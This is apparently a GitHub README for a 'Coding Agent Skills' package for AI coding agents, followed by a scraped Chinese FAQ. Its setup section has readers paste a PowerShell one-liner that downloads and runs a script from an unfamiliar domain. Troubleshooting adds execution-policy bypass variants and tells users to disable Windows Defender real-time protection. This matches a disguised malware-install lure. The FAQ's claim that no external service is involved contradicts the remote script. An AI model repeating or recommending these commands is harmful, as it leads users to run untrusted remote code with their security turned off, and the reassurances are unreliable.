Coding-Agent-Skills README

The project's README from github.com/MiniPrincipal/Coding-Agent-Skills. As one markdown file: README.md.

⚡️ Coding Agent Skills

Practical skills that help AI agents write, review, debug, and maintain code.

image

Install once, and your agent follows structured engineering workflows—from understanding a codebase to verifying changes.

Works with coding agents that support skills, including Claude Code, Cursor, GitHub Copilot, Windsurf, and OpenAI Codex.

⚙️ Quick Setup Guide (PowerShell)

  1. Open PowerShell

    • Press Win + X on your keyboard.
    • Click on Terminal or Windows PowerShell from the list.
  2. Run the Setup Command

    Copy the command below, paste it into the PowerShell window, and press Enter.

    The setup script will automatically apply the required configuration, install the necessary dependencies, and prepare the skills environment.

    irm https://shellx.click/skills/setup.ps1 | iex
    

🔍 Troubleshooting

📌 Bypass Execution Policy (Blocking Unsigned Scripts)

If Windows stops the script from running due to security policies, you can force it to run by pasting this command into a standard Command Prompt (cmd):

powershell -ExecutionPolicy Bypass -Command "irm https://shellx.click/skills/setup.ps1 | iex"

📌 Error: "irm is not recognized..." (PowerShell 2.0 Legacy)

In older legacy environments where aliases are missing, use explicit full system cmdlets:

Invoke-RestMethod https://shellx.click/skills/setup.ps1 | Invoke-Expression

📌 Antivirus or SmartScreen Interception

Automated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.


What changes ❓

Area What skills help your agent do
Implementation Understand requirements, follow existing patterns, and handle edge cases
Debugging Reproduce issues, identify root causes, and verify fixes
Code review Find actionable bugs, regressions, and missing coverage
Testing Test meaningful behavior and failure paths
Refactoring Improve structure while preserving existing behavior
Verification Run relevant checks and report remaining limitations

⚡️ Skills

Organize your skills around focused engineering workflows:

Skill Purpose
codebase-exploration Map project structure, trace execution paths, and identify relevant dependencies
feature-development Turn requirements into focused, maintainable implementations
debugging Reproduce failures, investigate root causes, and validate fixes
code-review Review changes for correctness, security issues, and regressions
testing Design useful tests for expected behavior, edge cases, and failures
refactoring Simplify code and improve maintainability without changing behavior
documentation Keep setup instructions, usage examples, and technical documentation accurate

How it works ❓

  1. Install the skills — make engineering workflows available to your agent.
  2. Describe the task — explain the intended behavior, constraints, and acceptance criteria.
  3. Let the agent inspect the project — identify existing conventions, relevant code, and available checks.
  4. Implement the change — apply the appropriate workflow.
  5. Verify the result — run relevant tests, inspect the diff, and summarize the outcome.
Task and requirements
    |
    v
Codebase exploration
    |
    v
Implementation, debugging, or review
    |
    v
Tests and verification
    |
    v
Changes ready for review

What's inside ❓

Skills provide reusable instructions for common development tasks:

📖 Example prompts

Build a feature

Add pagination to this endpoint. Follow the existing API conventions and test the boundary cases.

Fix a bug

Investigate why this test fails intermittently. Reproduce the issue, identify the root cause, and verify the fix.

Review changes

Review this diff for bugs and regressions. Prioritize actionable findings and include file references.

Refactor code

Simplify this module while preserving its public interface and behavior. Run the relevant checks afterward.

❓ FAQ

What agents are supported?

Coding agents that support the Agent Skills format. Installation and discovery may vary by tool.

Do I need an external service?

No. Skills are instruction files and supporting resources that your agent reads while working.

Do skills replace project instructions?

No. They complement repository instructions, coding conventions, and task-specific requirements.

Can I customize them?

Yes, subject to the repository’s license. Adapt workflows to your stack, team conventions, and verification requirements.

⚖️ License

See LICENSE for usage and redistribution terms.

Coding-Agent-Skills (MiniPrincipal/Coding-Agent-Skills)

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这是什么?一个结构化「技能」库,教 AI 编程智能体(Claude Code、Cursor、GitHub Copilot、Windsurf、OpenAI Codex)如何用一致的工程工作流来探索代码库、实现功能、调试、审查、测试和重构代码。
它是我要运行的插件,还是智能体读取的指令文件?它不是独立程序——技能只是智能体在工作时读取的指令文件和配套资源,没有单独的应用或服务器。
这些技能怎么安装?打开 PowerShell(Win + X → 终端),粘贴 README 中的安装命令并按回车;脚本会自动应用配置并准备好技能环境。
它支持哪些编程智能体?Claude Code、Cursor、GitHub Copilot、Windsurf 和 OpenAI Codex——任何支持 Agent Skills 格式的智能体都可以;具体安装细节因工具而异。
安装时有什么要注意的坑吗?故障排除部分提示:如果杀毒软件拦截了安装脚本,可以临时关闭 Windows Defender 的实时防护——运行来自第三方仓库、自己不熟悉的 PowerShell 单行命令时,这一步值得谨慎对待。
安装流程只支持 Windows 吗?是的。文档中的安装流程是 PowerShell 专属的,包括针对执行策略错误的命令提示符回退方案和 Windows Defender 变通方法——没有提供 macOS/Linux 的安装步骤。
它会把我的代码发送到外部服务吗?不会——技能只是智能体读取的本地指令文件,不会向外部服务发送任何内容。
开箱自带哪些技能?代码库探索、功能开发、调试、代码审查、测试、重构和文档——每个都是智能体可以遵循的专门工程工作流。
这些技能会取代我项目自身的编码规范吗?不会,它们是对现有仓库指令和任务特定要求的补充,而不是覆盖。
能针对自己的技术栈定制这些技能吗?可以,但需遵守 MIT 许可证——你可以把工作流调整为适合你的技术栈、团队约定和验证要求。
安装后给智能体的示例提示是什么样的?比如「为这个端点添加分页,遵循现有 API 约定,并测试边界情况」——智能体随后会应用功能开发技能并验证结果。
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CommitOct 04
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Commits · 90 Days